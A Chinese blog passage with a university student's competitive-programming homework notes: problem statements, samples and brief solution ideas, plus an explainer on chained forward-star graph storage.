I WOULD RATHER BE FIRST IN A LITTLE IBERIAN VILLAGE THAN SECOND IN ROME
DANGER KNOWS FULL WELL THAT CAESAR IS MORE DANGEROUS THAN HE

解题思路

推荐使用getline函数输入数据，一次输入是一整行。

没必要前面提到的 std::map，因为这个太有规律了，对于大写字母，ASCII直接减5，如果小于’A’ 再加26即可。

21. 回文串

问题描述

“回文串”是一个正读和反读都一样的字符串，比如 “level” 或者 “noon” 等等就是回文串。给你一个字符串，问最少在字符串尾添加多少字符，可以使得字符串变为回文串。

输入格式

有多组测试数据。

每组测试数据第一行是一个正整数 $N$，表示字符串长度，接下来一行是长度为N的字符串，字符串中只有小写字母。

$N=0$ 表示输入结束，并且不需要处理。

$40 % $ 的数列元素个数 $N$ $1 \le N \le 100$；

$30 % $ 的数列元素个数 $N$ $1 \le N \le 1000$；

$20 % $ 的数列元素个数 $N$ $1 \le N \le 10000$；

$10 % $ 的数列元素个数 $N$ $1 \le N \le 100000$；

输出格式

　　对于每组测试数据，输出一个非负整数：添加最少的字符数，可以使得字符串变为回文串。

样例输入

3
aba
4
aaac
0

样例输出

0
3

解题思路

参考了 HNU 软件能力实训 4-21. 回文串 _Karltan 的博客 - CSDN 博客。

对于每个字符串，逐个截取前1、2、3…… 到N位并反转，连接到原串后面，然后检验是否为回文串即可。

熟练运用STL会让这道题非常简单（主要是 reverse 和 substr）。

链式前向星：一种图的存储方式

Mon, 26 Jul 2021 00:00:00 +0000

链式前向星是一种在算法竞赛中常用的图存储方式，在空间占用和时间消耗上都比较中庸，使用比较广泛。本文以下面的无权图为例。

图例

它的邻接矩阵表示如下：

INF	INF	1	INF	1	1
INF	INF	INF	INF	1	1
INF	INF	INF	1	1	INF
INF	INF	INF	INF	INF	INF
INF	INF	INF	INF	INF	1
INF	INF	INF	INF	INF	INF

用边表示如下，这也是更常见的输入方式：

Index	0	1	2	3	4	5	6	7
From	0	2	0	1	4	2	0	1
To	2	4	5	4	5	3	4	5

前置知识：前向星

前向星和链式前向星很相似（毕竟链式前向星就是基于它改进而来的）。

前向星需要一次排序，使所有边按照起点编号升序排序，同起点的边放在一起，顺序不限。

输入完毕的前向星使用三个数组，即 to、head 和 len 来存储图的基本信息。

`to` 数组

to 数组长度为边的数目，下标对应的是边的编号（不管题里给没给，这里重新设定），分别存储每条边的终点。对于边的输入，相当于以起点排序之后，终点这个数组。对于上图，to数组内容如下：

Index	0	1	2	3	4	5	6	7
Value	2	4	5	4	5	3	4	5

前向星to数组

上表中，有相同颜色的值，代表这一部分的起点相同。

去掉from数组之后，孤零零的to数组当然难以理解有什么用处。但我们还需要from数组来生成 head 和 len。

`head`、`len` 数组

head和len数组长度为结点的数目，这两个数组的下标对应的是结点的编号。

to 数组因已经过按起点的排序，实际上按起点被划分为了一个个区间。如上图，起点为0的to** 下标 **（而不是to值）为0、1和2，起点为1的to下标有3、4，起点为2的to下标为5、6，起点为3没有对应to下标，起点为4对应的to下标有7。

因此，我们就需要 head 和 len 两个数组，分别存储某个结点对应的下标区间范围，head[i] 存储的是结点i对应下标区间的起始位置，而 len[i] 存储结点i对应下标区间长度。上图所对应的head和len数组如下图所示：

Index	0	1	2	3	4
`head`	0	3	5	-1	7
`len`	3	2	2	0	1

比如，head[0]==0&&len[0]==3 代表了起点为0的边范围是从第0个开始，有3个，查找对应的to数组得到各自终点，也就是有 (0,2)(0,4)(0,5) 三条边。而 head[3]==-1 是为了表示以3为起点没有对应的边，其实它的值是多少并不重要，重要的是长度为0。

这样我们就描述了按照起点划分的区间，进而描述了所有的边，“前向星” 就是这么一个东西。

链式前向星

因为普通的前向星需要排序，没有那么方便，所以就要找一种并不需要同一起点的边连续的结构，方便存储。链式前向星就是这么一种存储方式，它所谓的 “链式” 并不是使用链表来存储，而是每条边在数组中存储的的位置不固定，要靠一个数组来指导跳转，可以理解为数组模拟链表。

链式前向星更难理解，但理解之后写起来会容易不少。

它由 head、next 和 to 数组组成。

`to` 数组

这里的 to 数组和上面的比较相似：

Index	0	1	2	3	4	5	6	7
to	2	4	5	4	5	3	4	5

链式前向星to数组

可以看到并没有按起点进行排序，其中的奇妙之处在于next数组。

`next` 数组

next 数组长度为边数，下标对应边的编号，值的含义是在to数组中下一条起点相同的边的编号，-1代表这条边已经是最后一条同起点的边了（如果边的下标从1开始，也可以为0）。依靠这个数组，可以实现to数组中同起点边的从前向后跳转。

上图的 next 数组如下：

Index	0	1	2	3	4	5	6	7
`next`	2	5	6	7	-1	-1	-1	-1

同一起点的边均已标上相同的颜色，方便查找。

例如，从0找起点同为x的边（这里我们还不知道x是多少，也不能确定是不是第一个值）：

在 to[0] 找到 (x,2)，下一个下标是2；
在 to[2] 找到 (x,5)，下一个下标是6；
在 to[6] 找到 (x,4)，下一个下标是 - 1，代表已经没有同起点的边了。

当然，后来查图可以发现这是起点为0的三条边。

`head` 数组

这里的head数组和之前那个基本完全一样，只不过它代表的是一个链的开始，而不是像前向星一样，一个区间的开始。同时由于链式前向星的无序性，它所构建的head数组和前向星并不太一样。

上图的head数组如下：

Index	0	1	2	3	4
`head`	0	3	1	-1	4

head数组

由于没有 len 的限制，只能从一条链上走下去，没有当作起点的结点当然就不能给予一个正常的head。

图解

图解如下：

上图用不同的颜色区分了不同的起点，下方表格之下的曲线代表了利用next数组的跳转过程，最终结果与输入完全相同。

实际使用中，如果需要带权图，只需要再新建一个weight数组即可。

参考文献

湖南大学 2021 程序设计训练笔记 - 作业训练 3

Mon, 12 Jul 2021 00:00:00 +0000

所有代码均已上传至 homework/CSP-Training at master · cyp0633/homework (github.com)。不保证代码均正确，正确的也不保证为最优解，可以查看Commit详情进一步了解。

1. 部分A+B

个人难度评级：1

问题描述

正整数A的 “DA（为1位整数）部分” 定义为由A中所有DA组成的新整数PA。例如：给定A = 3862767，DA = 6，则A的“6部分”PA是66，因为A中有2个6；给定A = 3862767，DA = 1，则A的“1部分”PA是0，因为A中有0个1。

现给定A、DA、B、DB，请编写程序计算PA + PB。

输入形式

输入在一行中依次给出A、DA、B、DB，中间以空格分隔，其中0 < A, B < 1010。

输出形式

在一行中输出PA + PB的值。

样例输入

3862767 6 13530293 3

样例输出

解题思路

这个题都不会的话建议去面壁…… 没开long long导致WA掉的话情有可原。

2. 导弹拦截系统

来源：NOIP 1999普及组不知道第几题（洛谷 P1020）（有改动）

个人难度评级：3

问题描述

某国为了防御敌国的导弹袭击，开发出一种导弹拦截系统。但是这种导弹拦截系统有一个缺陷：虽然它的第一发炮弹能够到达任意的高度，但是以后每一发炮弹都不能高于前一发的高度。某天，雷达捕捉到敌国的导弹来袭，并观测到导弹依次飞来的高度，请计算这套系统最多能拦截多少导弹。拦截来袭导弹时，必须按来袭导弹袭击的时间顺序，不允许先拦截后面的导弹，再拦截前面的导弹。

输入形式

每组输入有两行，

第一行，输入雷达捕捉到的敌国导弹的数量k（k<=25），

第二行，输入k个正整数，表示k枚导弹的高度，按来袭导弹的袭击时间顺序给出，以空格分隔。

输出形式

每组输出只有一行，包含一个整数，表示最多能拦截多少枚导弹。

样例输入

8
300 207 155 300 299 170 158 65

样例输出

解题思路

贪心就完事了，建议去翻洛谷的题解，那个更难，但估计讲得比我明白。

本题数据很弱，开O(n2) 的算法完全能过。

3. 魔咒词典

来源：HDU 1880（无法访问可移步 Vjudge）

个人难度评级：2

问题描述

哈利波特在魔法学校的必修课之一就是学习魔咒。据说魔法世界有100000种不同的魔咒，哈利很难全部记住，但是为了对抗强敌，他必须在危急时刻能够调用任何一个需要的魔咒，所以他需要你的帮助。

给你一部魔咒词典。当哈利听到一个魔咒时，你的程序必须告诉他那个魔咒的功能；当哈利需要某个功能但不知道该用什么魔咒时，你的程序要替他找到相应的魔咒。如果他要的魔咒不在词典中，就输出 “what?”

输入形式

首先列出词典中不超过100000条不同的魔咒词条，每条格式为：

[魔咒 ] 对应功能

其中 “魔咒” 和“对应功能”分别为长度不超过20和80的字符串，字符串中保证不包含字符 “[” 和“]”，且 “]” 和后面的字符串之间有且仅有一个空格。词典最后一行以 “@END@” 结束，这一行不属于词典中的词条。
词典之后的一行包含非负整数N（0=<N<=1000），随后是N个测试用例。每个测试用例占一行，或者给出 “[魔咒 ]”，或者给出 “对应功能”。

输出形式

每个测试用例的输出占一行，输出魔咒对应的功能，或者功能对应的魔咒。如果魔咒不在词典中，就输出 “what?”

【样例输入】

[expelliarmus] the disarming charm
[rictusempra] send a jet of silver light to hit the enemy
[tarantallegra] control the movement of one's legs
[serpensortia] shoot a snake out of the end of one's wand
[lumos] light the wand
[obliviate] the memory charm
[expecto patronum] send a Patronus to the dementors
[accio] the summoning charm
@END@
4
[lumos]
the summoning charm
[arha]
take me to the sky

样例输出

light the wand
accio
what?
what?

解题思路

咒语和效果都不一定只有一个词，所以需要使用getline一次读一行，然后再根据 ] 的位置分割（substr大法好）。别的应该没什么难的。

4. 打牌

个人难度评级：2

问题描述

牌只有1到9，手里拿着已经排好序的牌a，对方出牌b，用程序判断手中牌是否能够压过对方出牌。
规则：出牌牌型有5种
[1] 一张如4则5…9可压过
[2] 两张如44则55，66，77，…，99可压过
[3] 三张如444规则如 [2]
[4] 四张如4444规则如 [2]
[5] 五张牌型只有12345 23456 34567 45678 56789五个，后面的比前面的均大。

输入形式

输入有多行，第一行代表手中的牌，长度不超过200个数字。接下来的每一行代表每次对方出的牌。

输出形式

输出有多行，代表手中的牌是否能压过对方出的牌，压过输出YES，并列出所有可选项，可选项之间用空格分隔。否则输出NO。

样例输入

17624234556367
33
222
34567

样例输出

YES 44 55 66 77
YES 666
NO

解题思路

题意似乎没说牌放不放回…… 不过没说过出牌规则，应该是出牌后放回手牌的。

直接模拟即可，分几张牌的情况。五张牌情况不多，而且取起来也麻烦，建议直接对每种情况做特判。

（WA了一半多，不确定做法是否正确）

5. 最大报销额

来源：HDU 1864（无法访问可移步 Vjudge）

个人难度评级：3

问题描述

现有一笔经费可以报销一定额度的发票。允许报销的发票类型包括买图书（A类）、文具（B类）、差旅（C类），要求每张发票的总额不得超过1000元，每张发票上，单项物品的价值不得超过600元。现请你编写程序，在给出的一堆发票中找出可以报销的、不超过给定额度的最大报销额。

输入形式

测试输入包含若干测试用例。每个测试用例的第1行包含两个正数Q和N，其中Q是给定的报销额度，N（N<=30）是发票张数。随后是N行输入，每行的格式为：
m Type_1:price_1 Type_2:price_2 … Type_m:price_m
其中正整数m是这张发票上所开物品的件数，Type_i和price_i是第i项物品的种类和价值。物品种类用一个大写英文字母表示。当N为0时，全部输入结束，相应的结果不要输出。

输出形式

对每个测试用例输出1行，即可以报销的最大数额，精确到小数点后2位。

样例输入

200.00 32 A:23.50 B:100.001 C:650.003 A:59.99 A:120.00 X:10.001200.00 22 B:600.00 A:400.001 C:200.501200.50 32 B:600.00 A:400.001 C:200.501 A:100.00100.00 0

样例输出

123.501000.001200.50

解题思路

第一个困难其实是阅读理解。很容易能看出来这题是一个01背包问题，但背包里装的是什么呢？其实是发票。将发票各物品的 ** 总价值 ** 作为 ** 整一件 ** 物品的价值，而对于每组数据，有多张发票，那就是求如何取 ** 整张 ** 发票，能够让报销额尽可能接近报销上限而不超过。所以，只需要存储每张发票的总金额就可以了。

第二个困难是允许报销类型限制、每件物品金额限制和发票总金额限制。因为报销只能整张一起报，所以出现任何一个上述的例外情况，** 整张发票作废 **（可将金额存储为0）。

第三个困难是如何写DP。相信很多人已经背熟01背包了，但对于没背熟的人来说，这也许不算什么困难，毕竟当看到N<=30的时候，我相信你和我是一样的反应：直接暴力搜，管那么多干什么？确实，数据范围太菜，直接搜确实没问题。

第四个困难是初始化变量。老生常谈了，有多组数据的题要记得初始化。

6. 带通配符的数

个人难度评级：2

问题描述

给定一个可以带通配符问号的正整数W，问号可以代表任意一个一位数字。再给定一个正整数X，和W具有同样的长度。问有多少个整数符合W的形式并且比X大？

输入形式

多组数据，每组数据两行，第一行是W，第二行是X，它们长度相同，在 [1..10] 之间。

输出形式

每行一个整数表示结果。

样例输入

36?1?82364288?3910?5

样例输出

解题思路

通配符的数量不确定，那就dfs啊。

7. 愚人节的礼物

个人难度评级：1

问题描述

四月一日快到了，Vayko想了个愚人的好办法——送礼物。嘿嘿，不要想的太好，这礼物可没那么简单，Vayko为了愚人，准备了一堆盒子，其中只有一个盒子里面装了礼物。盒子里面可以再放零个或者多个盒子。假设放礼物的盒子里不再放其他盒子。用 () 表示一个盒子，B表示礼物，Vayko想让你帮她算出愚人指数，即最少需要拆多少个盒子才能拿到礼物。

输入形式

本题目包含多组测试，请处理到文件结束。每组测试包含一个长度不大于1000, 只包含 ‘(’,’)’ 和’B’ 三种字符的字符串，代表Vayko设计的礼物透视图。你可以假设，每个透视图画的都是合法的。

输出形式

对于每组测试，请在一行里面输出愚人指数。

样例输入

((((B)()))())
(B)

样例输出

4
1

解题思路

可别把它当括号匹配做啊，题目给出的括号串是完全合法的，不需要检验合法性，甚至用不到STL stack，只需要一个整型模拟栈的元素数量，统计左括号数量就行了。

8. ab串

个人难度评级：3

问题描述

给定一个由字符’a’ 和字符’b’ 组成的字符串，可以删除若干字符，使得剩下来的字符串满足前后段为a，中间段为b（aaa….aaabbbb…..bbbbaaa…..aaa）, 区段可以没有字符（ba,ab,b,aa都是合法的），求最长剩下字符串的长度。

输入形式

输入为一行一个长度不超过5000的非空字符串，字符串仅由字符’a’ 和字符’b’ 组成。

输出形式

输出为一个整数，表示符合要求的最长剩下字符串长度

样例输入1

abba

样例输出1

样例输入2

bab

样例输出2

解题思路

前缀和？什么是前缀和？影响我打暴搜吗？题目数据似乎很菜，分块不多，要不然真搜不完。

将原字符串分割为内部完全由a/b组成的小块，用 pair<int,string> 存储，比如aabaa可以分割成长度为2的a块、长度为1的b块、长度为2的a块。这里可以使用string的find函数减少工作量。遇到b开头的串其实也不用慌，完全可以先统计a块，最终会在最前面形成一个长度为0的a块，并不影响做题。

然后开始逐块进行深搜。将其化为三种阶段，前面的a串、中间的b串和后面的a串。具体的我再想想怎么讲，建议先去看看代码。大致上就是根据当前搜到a串还是b串来分，然后在此基础上再分1、2或3阶段分情况讨论。

9. 占座位

个人难度评级：4

问题描述

sun所在学校的教室座位每天都是可以预占的。
一个人可以去占多个座位，而且一定是要连续的座位，如果占不到他所要求的这么多座位，那么他就一个座位也不要了。为了降低难度，每次分配座位按座位号从小到大查找，采用最先适配法分配座位。

输入形式

输入有多组数据。
每组数据输入座位排数n，0<n<=100（座位的排列数相等，座位是按每行从左到右依次排序的, 第1行的最右边一个座位与第二行的第一个座位视为连续座位），m（0<m<=min(100,n*n) ）个人。
然后输入k（0<k<=100），最后输入k个命令。
命令只有两种：
1.in id num（代表id,0<=id<m, 要占num个座位，若占不到连续的num(0<num<=20) 个座位表示该命令无效）
2.out id（代表id要释放他之前占的所有座位）
注意：如果id之前占过座还没释放那么之后他的in命令都是无效的，
如果id之前没占过座位那么他的out命令也是无效的。

输出形式

对每个in命令输出yes或者no，如果命令有效则输出yes，无效则输出no。
在yes no后面只带有回车，不带其他任何字符。

样例输入

4 10
9
in 1 7
in 2 3
in 3 3
in 3 3
in 4 3
out 2
in 5 6
out 3
in 5 6

样例输出

yes
yes
yes
no
yes
yes
no
yes
yes

解题思路

这题几乎完全是内存管理一题的翻版…… 甚至还要简单些，因为阅读理解的困难变小了很多，并且没有碎片整理部分。

座位好几排？没有关系，前一行最后一个和下一行第一个视为连续座位，那不就和内存空间差不多了嘛……

顺便吐槽一下CG的样例，格式也太不标准了点。

10. Maya历法

个人难度评级：2

问题描述

在学术休假期间，M.A. Ya教授在古老的Maya历法上有一个惊人的发现。从一个古老的令人棘手的信息中，教授发现Maya文明以365天为一年，称为Haab，包含19个月。前18个月每月有20天，月份名字为：pop、no、zip、zotz、tzec、xul、yoxkin、mol、chen、yax、zac、ceh、mac、kankin、muan、pax、koyab、cumhu。每月的天数使用数字来表示，从0~19，而不是用名字。Haab的最后一个月叫做uayet，有5天，表示为0、1、2、3、4。玛雅人认为这个月是不吉利的，法院不开庭，贸易停止了，人们甚至停止清扫地板。

出于宗教的目的，Maya人使用另外一套历法，叫做Tzolkin（冬青年）。一年被分为13个期间，每个期间20天。每天被表示为由数字和日期名表示的数对。使用20个名字：imix、ik、akbal、kan、chicchan、cimi、manik、lamat、muluk、ok、chuen、eb、ben、ix、mem、cib、caban、eznab、canac、ahau，以及13个数字，双循环使用。

请注意，每一天都有一个明确的描述。例如，在年初的日子被描述如下：

1 imix, 2 ik, 3 akbal, 4 kan, 5 chicchan, 6 cimi, 7 manik, 8 lamat, 9 muluk, 10 ok, 11 chuen, 12 eb, 13 ben, 1 ix, 2 mem, 3 cib, 4 caban, 5 eznab, 6 canac, 7 ahau, 在下一个期间开始为8 imix, 9 ik, 10 akbal . . .

年份（包含Haab和Tzolkin) 用数字0、1、… 来表示，数字0是世界的开始。因此，第一天表示为：

Haab: 0. pop 0

Tzolkin: 1 imix 0

请帮M.A.Ya教授写一个程序，将Haab日历转换为Tzolkin日历。

输入形式

在Haab中日期用以下形式表示：

NumberOfTheDay. Month Year

输入文件的第一行包含文件中输入日期的数目。接下来的n行包含Haab日历格式的n个日期，年份小于5000。

输出形式

Tzolkin日期用一下格式：

Number NameOfTheDay Year

输出包括n行，按照与输入日期对应的顺序，输出tzolkin日历格式日期。

样例输入

310.zac 00.pop 010.zac 1995

样例输出

3 chuen 01 imix 09 cimi 2801

解题思路

阅读理解题，难度全在对两种历法的阅读理解上。如果觉得题目读不懂，可以阅读一下玛雅历 - 维基百科，自由的百科全书（需要魔法上网）。

还读不懂？不妨这样：

输入的历法叫Haab历，它一年有365天，其中包含19个月，前18个月每月20天，第19个月只有5天。这20个月用名字来表示，分别叫做pop、no、zip、zotz、tzec、xul、yoxkin、mol、chen、yax、zac、ceh、mac、kankin、muan、pax、koyab、cumhu。每个月的日期使用数字表示。

需要输出的历法叫Tzolkin历。它并没有传统意义上的 “月” 和“日”，而是用20个 “日名” 和13个 “日数” 的组合来确定一年中唯一的日期，比较像中国的天干地支纪年法。日名和日数各自独立循环使用。天干地支纪年法60年一个循环，那么Tzolkin历就是260天一个循环，也就是一”年“。日名循环的每一天分别叫做imix、ik、akbal、kan、chicchan、cimi、manik、lamat、muluk、ok、chuen、eb、ben、ix、mem、cib、caban、eznab、canac、ahau，而日数循环则直接用1-13的自然数表示。

顺便，注意 “0日” 和“13日”的转换。

11. 数码管

个人难度评级：1

问题描述

液晶数码管用七笔阿拉数字表示的十个数字，把横和竖的一个短划都称为一笔，即７有３笔，８有７笔等。对于十个数字一种排列，要做到两相邻数字都可以由另一个数字加上几笔或减去几笔组成，但不能又加又减。比如７→３是允许的，７→２不允许。任意输入一组数，判断是否符合上述规则，注意，1在右边。

输入形式

每行输入一个0~9的排列，数字之间用空格分隔，以 - 1作为输入结束

输出形式

输出YES或NO

样例输入

4 1 0 7 3 9 5 6 8 2
3 5 1 6 2 7 9 0 4 8
-1

样例输出

YES
NO

解题思路

打表神题，直接预先在纸上算出数字转换关系的邻接矩阵，用的时候直接读取即可。这个关系是对称的，也就是说a能转换为b则b也能转换为a。特别要注意打表的准确性，如果打错了那就完蛋了…… 建议打2遍。

bool isTransferrable[10][10] = {{1, 1, 0, 0, 0, 0, 0, 1, 1, 0},
                                {1, 1, 0, 1, 1, 0, 0, 1, 1, 1},
                                {0, 0, 1, 0, 0, 0, 0, 0, 1, 0},
                                {0, 1, 0, 1, 0, 0, 0, 1, 1, 1},
                                {0, 1, 0, 0, 1, 0, 0, 0, 1, 1},
                                {0, 0, 0, 0, 0, 1, 1, 0, 1, 1},
                                {0, 0, 0, 0, 0, 1, 1, 0, 1, 0},
                                {1, 1, 0, 1, 0, 0, 0, 1, 1, 1},
                                {1, 1, 1, 1, 1, 1, 1, 1, 1, 1},
                                {0, 1, 0, 1, 1, 1, 0, 1, 1, 1}};

可以使用stringstream承接一行一行的输入，然后逐个读取。

12. 多项式加法

个人难度评级：2

问题描述

一个多项式可以表示为一组数对，数对中第一个数始终为整数，且唯一，表示多项式的次数，另一数表示为对应的系数且不为0。输入两组数对，每组以0 0作为结束，实现对两个多项式的加法并按降幂输出结果数对

输入形式

每行输入一个数对，以空格为分隔符，以0 0结束

输出形式

每行输出一个数对，以空格为分隔符

样例输入

样例输出

解题思路

很容易想到使用数组来存放各个次数的系数，但次数只说了是整数，先不必说太大咋办，首先负系数就能把数组方案毙掉了（虽然还是能得大约60分）。这时候使用std::map就十分有必要了，不过这样的话要考虑相加之后系数为0的情况。

正常考试的时候应该会有数据范围的，只要能看到，就一般能想到不能用数组存。

13. 数字统计

个人难度评级：1

问题描述

给定一个k位整数N = dk-1*10k-1 + … + d1*101 + d0 (0<=di<=9, i=0,…,k-1, dk-1>0)，请编写程序统计每种不同的个位数字出现的次数。例如：给定N = 100311，则有2个0，3个1，和1个3。

输入形式

每个输入包含1个测试用例，即一个不超过1000位的正整数N。

输出形式

对N中每一种不同的个位数字，以D:M的格式在一行中输出该位数字D及其在N中出现的次数M。要求按D的升序输出

样例输入

样例输出

0:2
1:3
3:1

解题思路

这个有啥好讲的啊……

14. A除以B

个人难度评级：1

问题描述

本题要求计算A/B，其中A是不超过1000位的整数（A>=0），B是1位正整数。你需要输出商数Q和余数R，使得A = B * Q + R成立。

输入形式

输入在1行中依次给出A和B，中间以1空格分隔。

输出形式

在1行中依次输出Q和R，中间以1空格分隔。

样例输入

123456789050987654321 7

样例输出

17636684150141093474 3

解题思路

挺简单一道题，就是高精除低精。但是要注意两点：

去掉前导0；
不要把商为0当成前导0给去掉了（这个会卡测试数据3）。

15. 公交系统

个人难度评级：2

问题描述

城市公交系统有一个记录仪，用于记录每个站点的乘客人数的变化情况，例如：x表示到站前公交车上的乘客人数，y表示离站时公交车上的乘客人数，则该记录仪记录的该站的数字为y-x。

对于一辆公交车和n个车站，a1,a2,…,an为该公交车在各站的记录数据。

假定w为该公交车可容纳的最大乘客人数，编程求出在第一站停靠之前公交车上人数的可能数据有多少种？

输入形式

第一行包含两个数据n和w(1<=n<=1000, 1<=w<=109)，分别表示车站的数目和公交车可容纳的最大乘客人数。

第二行包含一个序列a1,a2,…,an，表示记录仪记录的各站的数据。

输出形式

输出一个整数，表示公交车在第一站停靠之前可能的乘客人数数据的个数，如果没有，则输出0。

样例输入1

3 5
2 1 -3

样例输出1

样例输入2

2 4
-1 1

样例输出2

样例输入3

4 10
2 4 1 2

样例输出3

样例说明

在第一个样例中，乘客数可能有0、1、2，共3种情况

在第二个样例中，乘客数可能有1、2、3、4，共4种情况

在第三个样例中，乘客数可能为0或1，共2种情况

解题思路

假定一开始车上有0个人，然后录入变动情况，记录车上的最大最小人数。

如果最大人数超过额定载客量，或者最大人数和最小人数的差大于额定载客量，则输出0。

在最小人数大于等于0的情况下，只需要满足最大人数 + 初始人数 <= 额定载客量即可；如果小于 0，则还需要满足最小人数 + 初始人数>=0。

满足以上条件的初始人数情况数，即为结果。

16. 成绩大派对

个人难度评级：1

问题描述

读入n名学生的姓名、学号、成绩，分别输出成绩最高和成绩最低学生的姓名和学号。

输入形式

每个测试输入包含1个测试用例，格式为

第1行：正整数n 第2行：第1个学生的姓名学号成绩第3行：第2个学生的姓名学号成绩 … … … 第n+1行：第n个学生的姓名学号成绩

其中姓名和学号均为不超过20个字符的字符串，成绩为0到100之间的一个整数，这里保证在一组测试用例中没有两个学生的成绩是相同的。

输出形式

对每个测试用例输出2行，第1行是成绩最高学生的姓名和学号，第2行是成绩最低学生的姓名和学号，字符串间有1空格。

样例输入

3
Joe Math990112 89
Mike CS991301 100
Mary EE990830 95

样例输出

Mike CS991301
Joe Math990112

解题思路

分别维护姓名、学号和成绩的临时变量、最大值、最小值，边输入边更新即可。

17. 字符串数字置换

个人难度评级：1

问题描述

从键盘接收用户输入的字符串, 对用户输入的每个字符串的处理是：将字符串内的每一个十进制数字字符置换成下列表格中右边所对应的一个字符串（所有其他字符不变），然后将转换的结果显示在屏幕上；并分别计算每个数字的置换次数。

十进制数字字符	置换成
0	(Zero)
1	(One)
2	(Two)
3	(Three)
4	(Four)
5	(Five)
6	(Six)
7	(Seven)
8	(Eight)
9	(Nine)

例如，若用户输入的字符串为

Page112-Line3，

则程序5的输出是：

Page(One) (One) (Two)-Line(Three),

数字0到9的置换次数分别是 0 2 1 1 0 0 0 0 0 0

输入形式

输入一行字符串，其中可包含字母、数字、空格或其他符号（英文）

输出形式

第一行为将字符串中的数字转换为表格中的内容后输出

第二行为数字0~9被转换的次数

样例输入

Page112-Line3

样例输出

Page(One)(One)(Two)-Line(Three)
0 2 1 1 0 0 0 0 0 0

解题思路

没什么好讲的

18. 写出来吧

个人难度评级：1

问题描述

读入一个自然数n，计算其各位数字之和，用汉语拼音写出和的每一位数字。

输入形式

每个测试输入包含1个测试用例，即给出自然数n的值。这里保证n小于10的100次方。

输出形式

在一行内输出n的各位数字之和的每一位，拼音数字间有1空格，但一行中最后一个拼音数字后没有空格。

样例输入

1234567890987654321123456789

样例输出

yi san wu

样例说明

友情提示汉语拼音

0~9：ling yi er san si wu liu qi ba jiu shi

解题思路

没什么好讲的，倒是这拼音提示挺侮辱智商的。

19. 到底买不买

个人难度评级：1

问题描述

小红想买些珠子做一串自己喜欢的珠串。卖珠子的摊主有很多串五颜六色的珠串，但是不肯把任何一串拆散了卖。于是小红要你帮忙判断一下，某串珠子里是否包含了全部自己想要的珠子？如果是，那么告诉她有多少多余的珠子；如果不是，那么告诉她缺了多少珠子。

为方便起见，我们用 [0-9]、[a-z]、[A-Z] 范围内的字符来表示颜色。例如在图1中，第3串是小红想做的珠串；那么第1串可以买，因为包含了全部她想要的珠子，还多了8颗不需要的珠子；第2串不能买，因为没有黑色珠子，并且少了一颗红色的珠子。

输入形式

每个输入包含1个测试用例。每个测试用例分别在2行中先后给出摊主的珠串和小红想做的珠串，两串都不超过1000个珠子。

输出形式

如果可以买，则在一行中输出 “Yes” 以及有多少多余的珠子；如果不可以买，则在一行中输出 “No” 以及缺了多少珠子。其间以1个空格分隔。

样例输入

ppRYYGrrYBR2258YrR8RrY

样例输出

Yes 8

解题思路

这是一个很好想很好写很好调但未必快的思路。

我们都知道char本质上是用ASCII码存储的，那么统计某个字符串中某字符出现数量，可以直接加到对应ASCII码下标的数组值里面。

遍历一遍待买的字符串和想要的字符串，分别加到两个数组里，然后分别统计少的和多的即可。

注意数组要开大点，ASCII码范围是0-127，我们需要的最大是z即122。

一个更好的方案是使用std::map来维护对应关系。

20. 挖掘机技术哪家强

个人难度评级：1

问题描述

为了用事实说明挖掘机技术到底哪家强，组织一场挖掘机技能大赛。现请你根据比赛结果统计出技术最强的那个学校。

输入形式

输入在第1行给出不超过105的正整数N，即参赛人数。随后N行，每行给出一位参赛者的信息和成绩，包括其所代表的学校的编号、及其比赛成绩（百分制），中间以空格分隔。

输出形式

在一行中给出总得分最高的学校的编号、及其总分，中间以空格分隔。题目保证答案唯一，没有并列。

样例输入

63 652 801 1002 703 403 0

样例输出

2 150

问题说明

建议练习使用STL中的map

解题思路

建议翻别人用map写的题解，我没用。毕竟总共105个学校，又不是不能用数组。

21. Web导航

个人难度评级：1

问题描述

标准的Web浏览器具有在最近访问的页面中前后移动的特性。实现这些特性的一种方法是使用两个堆栈来跟踪可以通过前后移动到达的页面。在这个问题中，我们要求实现这一点。

需要支持以下命令：

BACK：将当前页面压入前向堆栈的顶部；从后向堆栈的顶部弹出该页，使其成为新的当前页。如果后向堆栈为空，则该指令忽略。

FORWARD：将当前页面压入后向堆栈的顶部；从前向堆栈的顶部弹出该页，使其成为新的当前页。如果前向堆栈为空，则该指令忽略。

VISIT：将当前页面压入后向堆栈的顶部，将URL指定为新的当前页。前向堆栈被清空。

QUIT：退出浏览器。

假设浏览器最初在网址http://www.game.org / 上加载网页。

输入形式

输入是一个命令序列。命令关键字BACK、FORWARD、VISIT和QUIT都是大写。URL中无空格，最多有70个字符。假定在任何时候，每个堆栈中没有问题实例需要超过100个元素。输入的结尾由QUIT命令标识。

输出形式

除QUIT外的每个命令，如果命令没有被忽略，则在命令执行后输出当前页面的URL，否则，打印 “Ignored”。每个命令的输出独立打印一行。QUIT命令无输出。

样例输入

VISIT http://game.ashland.edu/VISIT http://game.baylor.edu/acmicpc/BACKBACKBACKFORWARDVISIT http://www.our.com/BACKBACKFORWARDFORWARDFORWARDQUIT

样例输出

http://game.ashland.edu/
http://game.baylor.edu/acmicpc/
http://game.ashland.edu/
http://www.game.org/
Ignored
http://game.ashland.edu/
http://www.our.com/
http://game.ashland.edu/
http://www.game.org/
http://game.ashland.edu/
http://www.our.com/
Ignored

解题思路

直接照着题上的提示写就行了，没有特殊情况。

湖南大学 2021 程序设计训练笔记 - 作业训练 5

Mon, 12 Jul 2021 00:00:00 +0000

所有代码均已上传至我的 GitHub 及我的 Gitea。不保证代码均正确（如不正确会在Commit详情标出），正确的也不保证为最优解。

1. Dijkstra?

来源：CF20C 数据已弱化

个人难度评级：3

问题描述

给定一个含权的无向图，顶点编号为 $1-n$，你的任务为找出顶点 $1$ 到顶点 $n$ 之间的最短路径。

输入形式

输入的第一行为两个整数 $n$ 和 $m(2 \le n \le 10^5,0 \le m \le 10^5)$，其中 $n$ 为顶点数，$m$ 是边数。

接下来的 $m$ 行包含用形式 $a_i$、$b_i$ 和 $w_i(1 \le a_i, b_i \le n,1 \le w_i \le 10^6)$，这 $a_i$、$b_i$ 是边的端点，而 $w_i$ 是边的长度。

该图可能包括环，或者一对顶点之间包含多条边。

输出形式

如果无路径，输出 $-1$，否则输出最短路径，如果有多个，则输出字典序最小的路径。

对于两个整数序列 $A(a_1、a_2、…)$ 和 $B(b_1、b_2、…)$，称序列 $A$ 字典序小于序列 $B$ 当且仅当，存在 $k \ge 1$，$i \le k$ 时，$a_i \le b_i$，$i=k$ 时，$a_i < b_i$ 。

样例输入

